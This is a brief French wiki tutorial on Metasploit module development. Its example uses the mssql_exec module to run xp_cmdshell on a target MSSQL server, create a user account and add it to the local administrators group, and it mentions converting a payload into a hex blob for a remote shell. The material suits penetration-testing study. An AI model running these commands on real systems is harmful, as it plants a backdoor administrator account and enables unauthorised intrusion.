Z construire son module metasploit
Aller à la navigation
Aller à la recherche
| Fiche express | |
|---|---|
| Domaine | Développement de modules |
| Langage | Ruby |
| Exemple | Payload PowerShell via MSSQL |
| Voir aussi | Sqlserveur metasploit · Scans metasploit |
Metasploit est écrit en Ruby. Cette fiche illustre la construction d'un module par l'exemple, en partant d'un payload transmis à un serveur MSSQL, puis l'ajout d'un module dans l'arborescence.
Exemple : mssql / PowerShell
On convertit un payload Metasploit en blob hexadécimal transmissible à un système via MSSQL, pour obtenir un shell distant.
Lister les utilisateurs de même niveau de rôle dans MSSQL :
SELECT loginname FROM master..syslogins WHERE sysadmin=1
use admin/mssql/mssql_exec
show options
set RHOST 172.16.32.136
set CMD net user metasploit pass /ADD
exploit
Cet appel utilise la procédure stockée xp_cmdshell. On peut ensuite saisir :
net localgroup administrators metasploit /ADD
Explorer un module existant
Le module auxiliary/admin/mssql/mssql_exec.rb appelle la commande dans la base :
mssql_xpcmdshell(datastore['CMD'], true)
Les bibliothèques associées se trouvent dans :
/usr/share/metasploit-framework/lib/msf/core/exploit/mssql_commands.rb
/usr/share/metasploit-framework/lib/msf/core/exploit/mssql.rb
Ajouter un exploit manuellement
Il suffit de placer le module dans l'arborescence personnelle de l'utilisateur :
/root/.msf4/modules/exploit/dir/
Voir aussi
- Sqlserveur metasploit — exploitation MSSQL
- Scans metasploit — exemple de module scanner personnalisé